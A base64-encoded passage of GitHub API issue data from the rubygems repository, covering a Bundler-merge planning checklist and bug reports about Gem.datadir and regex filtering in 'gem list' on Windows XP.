XJzL2luZGlyZWN0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA1NTI1NjMyLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMG1ham9yJTIwYnVtcCIsIm5hbWUiOiJ0eXBlOiBtYWpvciBidW1wIiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJhc3NpZ25lZXMiOlt7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX1dLCJtaWxlc3RvbmUiOnsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9taWxlc3RvbmVzLzE0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvbWlsZXN0b25lLzE0IiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWlsZXN0b25lcy8xNC9sYWJlbHMiLCJpZCI6MTkzMDg3NSwibnVtYmVyIjoxNCwidGl0bGUiOiIzLjAiLCJkZXNjcmlwdGlvbiI6bnVsbCwiY3JlYXRvciI6eyJsb2dpbiI6ImluZGlyZWN0IiwiaWQiOjc4LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS83OD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9pbmRpcmVjdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2luZGlyZWN0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9pbmRpcmVjdC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaW5kaXJlY3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sIm9wZW5faXNzdWVzIjoxLCJjbG9zZWRfaXNzdWVzIjoxLCJzdGF0ZSI6Im9wZW4iLCJjcmVhdGVkX2F0IjoiMjAxNi0wOC0wOFQyMjozOToxM1oiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wOC0xMFQxOToxNTozMloiLCJkdWVfb24iOm51bGwsImNsb3NlZF9hdCI6bnVsbH0sImNvbW1lbnRzIjo5LCJjcmVhdGVkX2F0IjoiMjAxNi0wOC0wOFQyMjo0MDowOFoiLCJ1cGRhdGVkX2F0IjoiMjAxNi0wOS0yNFQxNTowMjoxNVoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik9XTkVSIiwiYm9keSI6Ii0gWyBdIGhvdyB0byBtaWdyYXRlIGluLXByb2dyZXNzIHdvcmsgZnJvbSBidW5kbGVyL2J1bmRsZXIgdG8gcnVieWdlbXMvcnVieWdlbXNcbi0gWyBdIGhvdyB0byBtYWtlIHNlbmRpbmcgYSBQUiBvbiBCdW5kbGVyIG5vdCBhIHRvdGFsIGRldiBuaWdodG1hcmUgZm9yIGluZXhwZXJpZW5jZWQgZGV2c1xuLSBbIF0gZG9jdW1lbnRhdGlvbiBhcm91bmQgY2hlY2tpbmcgb3V0IHRoZSBzaGFyZWQgcmVwbyBhbmQgaW1tZWRpYXRlbHkgYmVpbmcgYWJsZSB0byB1c2UvZWRpdC9QUiBhZ2FpbnN0IGVpdGhlciBwcm9qZWN0XG4tIFsgXSB3aGF0IHRvIGRvIHdpdGggdGhlIGlzc3VlcyBvbiBidW5kbGVyL2J1bmRsZXJcbi0gWyBdIHdoYXQgdG8gZG8gd2l0aCB0aGUgb3BlbiBQUnMgb24gYnVuZGxlci9idW5kbGVyXG4tIFsgXSBob3cgdG8gaGFuZGxlIHN0YWJsZSBicmFuY2hlcyBmb3IgYm90aCBwcm9qZWN0cyBhZnRlciB0aGUgbWVyZ2Vcbi0gWyBdIGhvdyB0byByZWxlYXNlIGVpdGhlciBwcm9qZWN0IGZyb20gYSBjaGVja291dCBvZiB0aGUgY29tYmluZWQgcmVwb1xuLSBbIF0gd2hhdCB0byBkbyB3aXRoIHRoZSAyLTAtZGV2IGJyYW5jaCBhZnRlciB0aGUgbWVyZ2Vcbi0gWyBdIGhvdyB0byBtaWdyYXRlIGV4aXN0aW5nIGNvbnRyaWJ1dG9ycyB0byBjb21taXR0aW5nIGFuZCBQUmluZyBhZ2FpbnN0IHRoZSBuZXcgcmVwb1xuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjczIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NzMvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NzMvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY3My9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY3MyIsImlkIjoxNjY3ODU2MjAsIm51bWJlciI6MTY3MywidGl0bGUiOiJSdWJ5IDIuMyAocnVieWdlbXMgMi41KSBHZW0uZGF0YWRpciByZXR1cm5zIHdyb25nIGRpcmVjdG9yeSB3aGVuIHJlZmVycmluZyB0byBnZW0gZGF0YSBkaXJlY3RvcnkiLCJ1c2VyIjp7ImxvZ2luIjoiZGF2aWRzaWF3IiwiaWQiOjg3NDI4MCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvODc0MjgwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kYXZpZHNpYXciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9kYXZpZHNpYXciLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9kYXZpZHNpYXcvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGF2aWRzaWF3L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Rhdmlkc2lhdy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGF2aWRzaWF3L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGF2aWRzaWF3L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGF2aWRzaWF3L29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Rhdmlkc2lhdy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Rhdmlkc2lhdy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZGF2aWRzaWF3L3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDczNzQ0NTUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjB0cmlhZ2UiLCJuYW1lIjoic3RhdHVzOiB0cmlhZ2UiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo1LCJjcmVhdGVkX2F0IjoiMjAxNi0wNy0yMVQxMDoxOTo1MFoiLCJ1cGRhdGVkX2F0IjoiMjAxNi0xMC0yMVQxMTo1OTo1NFoiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSSdtIGhhdmluZyBhIHByb2JsZW0gXG5cbk15IGN1cnJlbnQgcHJvYmxlbSBpczogaW4gUnVieSAyLjIuMiAocnVieWdlbXMgMi40KSBJIHVzZWQgdG8gYmUgYWJsZSB0byByZWZlciB0byBhIGdlbSdzIHNvdXJjZSBkaXJlY3RvcnkgaW4gR2VtZmlsZSwgZm9yIGV4YW1wbGUgXCIvVXNlcnMvZGF2aWQvcHJvZ3JhbXMvd2VhdmVyXCIsIGFuZCBHZW0uZGF0YWRpciB3b3VsZCByZXR1cm4gdGhlIGRhdGEgZGlyZWN0b3J5IGluIHRoYXQgZGlyIFwiL1VzZXJzL2RhdmlkL3Byb2dyYW1zL3dlYXZlci9kYXRhL3dlYXZlclwiLlxuXG5Ib3dldmVyIHRoYXQgY2hhbmdlZCBpbiBSdWJ5IDIuMyAgKHJ1YnlnZW1zIDIuNSksIGFmdGVyIGNoYW5naW5nIHRvIFJ1YnkgMi4zLCBhbGwgb2YgYSBzdWRkZW4gaXQgc3RhcnRlZCByZXR1cm5pbmcgYSBkaWZmZXJlbnQgZGlyZWN0b3J5OiBcIi9Vc2Vycy9kYXZpZC9wcm9ncmFtcy9nZW1zL3dlYXZlci0wLjMuNC9kYXRhL3dlYXZlclwiXG5cblRoZSBcImdlbXNcIiBkaXJlY3RvcnkgZG9lcyBub3QgKGFuZCBzaG91bGQgbm90KSBldmVuIGV4aXN0LCBhbmQgSSBuZXZlciBjcmVhdGVkIG9uZSwgYW5kIHRoZSBvdXRwdXQgb2YgcHdkIHdoZW4gY2hlY2tpbmcgR2VtLmRhdGFkaXIgaXMgXCIvVXNlcnMvZGF2aWQvcHJvZ3JhbXMvd2VhdmVyLWRvYy1zb3VyY2VcIlxuXG5JIGhhdmUgY2hlY2tlZCB0aGUgY2hhbmdlbG9ncyBhbmQgY291bGQgbm90IGZpbmQgYW55IG1lbnRpb24gb2YgY2hhbmdlcyB0byB0aGUgR2VtIGNsYXNzIHRoYXQgc2hvdWxkIGFmZmVjdCB0aGlzXG5cblRoaXMgc2VlbXMgbGlrZSBhIHBpZWNlIG9mIGRlYnVnIGNvZGUgaGFzIG1hZGUgaXQgaW50byB0aGUgR2VtIGNsYXNzLlxuXG5UaGlzIGlzIG5vdCBhcHBhcmVudGx5IGEgYnVuZGxlciBpc3N1ZSBzaW5jZSBpdCBkb2VzIG5vdCBoYXBwZW4gd2l0aCBlaXRoZXIgdGhlIHZlcnNpb24gb2YgYnVuZGxlciBJIHVzZWQgb3IgdGhlIGxhdGVzdCB2ZXJzaW9uIG9mIGJ1bmRsZXIuIFRoZSBydWJ5Z2VtcyB2ZXJzaW9uIGlzIHRoZSBvbmx5IHZhcmlhYmxlIG9mIGNvbnNlcXVlbmNlIGhlcmUuXG5UaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XG4tIFsgXSBOZXR3b3JrIHByb2JsZW1zXG4tIFsgXSBJbnN0YWxsaW5nIGEgbGlicmFyeVxuLSBbIF0gUHVibGlzaGluZyBhIGxpYnJhcnlcbi0gWyBdIFRoZSBjb21tYW5kIGxpbmUgYGdlbWBcbi0gW3hdIE90aGVyXG5cbkhlcmUgYXJlIG15IGN1cnJlbnQgZW52aXJvbm1lbnQgZGV0YWlsczpcblxuYGBgXG4kIHJ1YnkgLXZcbnJ1YnkgMi4yLjJwOTUgKDIwMTUtMDQtMTMgcmV2aXNpb24gNTAyOTUpIFt4ODZfNjQtZGFyd2luMTRdXG4kIGdlbSAtdlxuMi40LjhcblxuJCBydWJ5IC12XG5ydWJ5IDIuMy4xcDExMiAoMjAxNi0wNC0yNiByZXZpc2lvbiA1NDc2OCkgW3g4Nl82NC1kYXJ3aW4xNF1cbiQgZ2VtIC12XG4yLjUuMVxuYGBgXG5cbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE2NjkiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY2OS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTY2OS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjY5L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNjY5IiwiaWQiOjE2NjM4MDUwMCwibnVtYmVyIjoxNjY5LCJ0aXRsZSI6IkNvbW1hbmQgJ2dlbSBsaXN0IHt7UkVHRVhQfX0nIGZhaWxzIG9uIEdpdCBmb3IgV2luZG93cyBvbiBXaW5kb3dzIFhQIiwidXNlciI6eyJsb2dpbiI6Ik1hcmtEQmxhY2t3ZWxsIiwiaWQiOjY5MjcwMiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNjkyNzAyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NYXJrREJsYWNrd2VsbCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL01hcmtEQmxhY2t3ZWxsIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTWFya0RCbGFja3dlbGwvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTWFya0RCbGFja3dlbGwvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTWFya0RCbGFja3dlbGwvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01hcmtEQmxhY2t3ZWxsL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTWFya0RCbGFja3dlbGwvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NYXJrREJsYWNrd2VsbC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NYXJrREJsYWNrd2VsbC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01hcmtEQmxhY2t3ZWxsL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NYXJrREJsYWNrd2VsbC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MzA1NzI4ODUxLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9wbGF0Zm9ybTolMjB3aW5kb3dzIiwibmFtZSI6InBsYXRmb3JtOiB3aW5kb3dzIiwiY29sb3IiOiI1MzE5ZTciLCJkZWZhdWx0IjpmYWxzZX0seyJpZCI6MzA3Mzc0NDU1LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy9zdGF0dXM6JTIwdHJpYWdlIiwibmFtZSI6InN0YXR1czogdHJpYWdlIiwiY29sb3IiOiJmZWYyYzAiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MTAsImNyZWF0ZWRfYXQiOiIyMDE2LTA3LTE5VDE2OjUzOjAxWiIsInVwZGF0ZWRfYXQiOiIyMDE2LTEyLTAzVDIxOjA3OjQ3WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJUaGlzIGlzc3VlIGlzIHJlbGF0ZWQgdG86XG4tIFtYIF0gVGhlIGNvbW1hbmQgbGluZSBgZ2VtYFxuXG5BIHByZXJlcXVpc2l0ZSBpcyB0byBkbyBgZ2VtIGluc3RhbGwganNvbmIgbXVsdGlfanNvbmAuXG5cbkknbSBoYXZpbmcgYSBwcm9ibGVtLiBNeSBjdXJyZW50IHByb2JsZW0gaXM6XG5cblRoZSBjb21tYW5kIGBnZW0gbGlzdCB7e1JFR0VYUH19YCB3b3JrcyBwcm9wZXJseSAoaS5lLiwgaXQgY2FuIGxpbWl0IHRoZSBnZW1zIGl0IGZpbmRzKSBvbiBteSA2NC1iaXQgV2luZG93cyA3IHN5c3RlbSwgdXNpbmcgdGhlIEdpdCBCYXNoIHByb21wdCBvZiBHaXQgZm9yIFdpbmRvd3MgKHZlcnNpb24gMi44LjEpOlxuXG5gYGBcbiQgZ2VtIGxpc3QganNvblxuXG4qKiogTE9DQUwgR0VNUyAqKipcbmpzb24gKDEuOC4yLCBkZWZhdWx0OiAxLjguMSlcbmpzb25iICgwLjAuMSlcbm11bHRpX2pzb24gKDEuMTIuMSlcblxuJCBnZW0gbGlzdCBeanNvbiRcblxuKioqIExPQ0FMIEdFTVMgKioqXG5qc29uICgxLjguMiwgZGVmYXVsdDogMS44LjEpXG5cbiQgZ2VtIGxpc3QgXCJeanNvbiRcIlxuXG4qKiogTE9DQUwgR0VNUyAqKipcbmpzb24gKDEuOC4yLCBkZWZhdWx0OiAxLjguMSlcbmBgYFxuXG5Ib3dldmVyLCBvbiBteSAzMi1iaXQgV2luZG93cyBYUCBTUDMgc3lzdGVtIChhbHNvIHVzaW5nIHRoZSBHaXQgQmFzaCBwcm9tcHQgb2YgR2l0IGZvciBXaW5kb3dzLCB2ZXJzaW9uIDIuOC4xKSwgSSBoYXZlbid0IGZvdW5kIGEgd2F5IHRoYXQgd29ya3Mgc3VjY2Vzc2Z1bGx5OlxuXG5gYGBcbiQgZ2VtIGxpc3QganNvblxuXG4qKiogTE9DQUwgR0VNUyAqKipcbmpzb24gKDEuOC4zLCAxLjguMiwgZGVmYXVsdDogMS44LjEpXG5qc29uYiAoMC4wLjEpXG5tdWx0aV9qc29uICgxLjEyLjEpXG5cbiQgZ2VtIGxpc3QgXmpzb24kXG5cbioqKiBMT0NBTCBHRU1TICoqKlxuanNvbiAoMS44LjMsIDEuOC4yLCBkZWZhdWx0OiAxLjguMSlcbm11bHRpX2pzb24gKDEuMTIuMSlcblxuJCBnZW0gbGlzdCBcIl5qc29uJFwiXG5cbioqKiBMT0NBTCBHRU1TICoqKlxuanNvbiAoMS44LjMsIDEuOC4yLCBkZWZhdWx0OiAxLjguMSlcbm11bHRpX2pzb24gKDEuMTIuMSlcblxuJCBnZW0gbGlzdCAnXmpzb24kJ1xuXG4qKiogTE9DQUwgR0VNUyAqKipcbmpzb24gKDEuOC4zLCAxLjguMiwgZGVmYXVsdDogMS44LjEpXG5tdWx0aV9qc29uICgxLjEyLjEpXG5cbiQgZ2VtIGxpc3QgXFxeanNvblxcJFxuXG4qKiogTE9DQUwgR0VNUyAqKipcbmpzb24gKDEuOC4zLCAxLjguMiwgZGVmYXVsdDogMS44LjEpXG5tdWx0aV9qc29uICgxLjEyLjEpXG5gYGBcblxuWWV0LCBvbiBjbWQuZXhlLCBpdCBjYW4gc3VjY2VlZDpcblxuYGBgXG4+Z2VtIGxpc3QgXCJeanNvbiRcIlxuXG4qKiogTE9DQUwgR0VNUyAqKipcbmpzb24gKDEuOC4zLCAxLjguMiwgZGVmYXVsdDogMS44LjEpXG5gYGBcblxuQlRXLCBgZ2VtIHNlYXJjaCB7e1JFR0VYUH19YCBoYXMgdGhlIHByb2JsZW0sIHRvby5cblxuSGVyZSBhcmUgbXkgY3VycmVudCBlbnZpcm9ubWVudCBkZXRhaWxzOlxuXG5PbiBXaW5kb3dzIFhQICh3aGVyZSBpdCBmYWlscyk6XG5cbmBgYFxuJCBnZW0gZW52XG5SdWJ5R2VtcyBFbnZpcm9ubWVudDpcbiAgLSBSVUJZR0VNUyBWRVJTSU9OOiAyLjYuNlxuICAtIFJVQlkgVkVSU0lPTjogMi4yLjUgKDIwMTYtMDQtMjYgcGF0Y2hsZXZlbCAzMTkpIFtpMzg2LW1pbmd3MzJdXG4gIC0gSU5TVEFMTEFUSU9OIERJUkVDVE9SWTogQzovcHJvZ3JhL3J1YnkvbGliL3J1YnkvZ2Vtcy8yLjIuMFxuICAtIFVTRVIgSU5TVEFMTEFUSU9OIERJUkVDVE9SWTogQzovRG9jdW1lbnRzIGFuZCBTZXR0aW5ncy9NYXJrLy5nZW0vcnVieS8yLjIuMFxuICAtIFJVQlkgRVhFQ1VUQUJMRTogQzovcHJvZ3JhL3J1YnkvYmluL